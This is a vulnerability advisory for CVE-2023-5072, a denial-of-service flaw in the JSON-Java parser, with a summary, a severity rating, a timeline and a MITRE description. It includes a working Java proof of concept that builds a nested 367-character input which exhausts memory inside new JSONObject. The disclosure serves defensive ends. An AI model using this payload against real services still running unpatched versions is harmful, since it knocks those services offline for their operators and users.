CVE-2023-5072: DoS Vulnerability in JSON-Java

Summary A denial of service vulnerability in JSON-Java was discovered by ClusterFuzz. A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used. There are two issues: (1) the parser bug can be used to circumvent a check that is supposed to prevent the key in a JSON object from itself being another JSON object; (2) if a key does end up being a JSON object then it gets converted into a string, using \ to escape special characters, including \ itself. So by nesting JSON objects, with a key that is a JSON object that has a key that is a JSON object, and so on, we can get an exponential number of \ characters in the escaped string.

Severity High - Because this is an already-fixed DoS vulnerability, the only remaining impact possible is for existing binaries that have not been updated yet.

Proof of Concept java package orgjsonbug;

import org.json.JSONObject;

/ Illustrates a bug in JSON-Java. / public class Bug { private static String makeNested(int depth) { if (depth == 0) { return "{\"a\":1}"; } return "{\"a\":1;\t\0" + makeNested(depth - 1) + ":1}"; }

public static void main(String[] args) { String input = makeNested(30); System.out.printf("Input string has length %d: %s\n", input.length(), input); JSONObject output = new JSONObject(input); System.out.printf("Output JSONObject has length %d: %s\n", output.toString().length(), output); } } When run, this reports that the input string has length 367. Then, after a long pause, the program crashes inside new JSONObject with OutOfMemoryError.

Further Analysis The issue is fixed by this PR.

Timeline Date reported: 07/14/2023 Date fixed: Date disclosed: 10/12/2023

Denial of Service in JSON-Java versions up to and including 20230618.  A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used.

— MITRE